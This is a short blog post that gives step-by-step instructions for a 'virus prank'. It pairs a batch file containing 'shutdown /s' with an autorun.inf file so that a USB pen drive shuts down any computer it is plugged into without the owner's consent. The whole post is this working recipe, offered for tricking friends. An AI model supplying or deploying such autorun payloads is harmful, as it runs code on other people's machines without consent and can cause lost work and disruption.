browser icon
You are using an insecure version of your web browser. Please update your browser!
Using an outdated browser makes your computer unsafe. For a safer, faster, more enjoyable user experience, please update your browser today or try a newer browser.

Virus prank

Posted by on September 28, 2012

Today I am going to teach you how to scare your friends by playing  a little trick using a pen-drive. All you need to do is make a batch file using notepad. Open notepad and type the following code.

cd /

shutdown /s

Save the notepad file with a .bat extension. You can name it pendrive.bat (for example). Now you need to create another file using notepad with the code given below.

[Autorun]
open=pendrive.bat

Please make sure you give the name of the first file in “open” field on the second file. Now you need to save it as autorun.inf.

Now put both the files in a pendrive. If you plug this pendrive to any system, the computer will shutdown automatically. You can disable autorun and format the pendrive for using it for other purposes.

 

Leave a Reply

Your email address will not be published. Required fields are marked *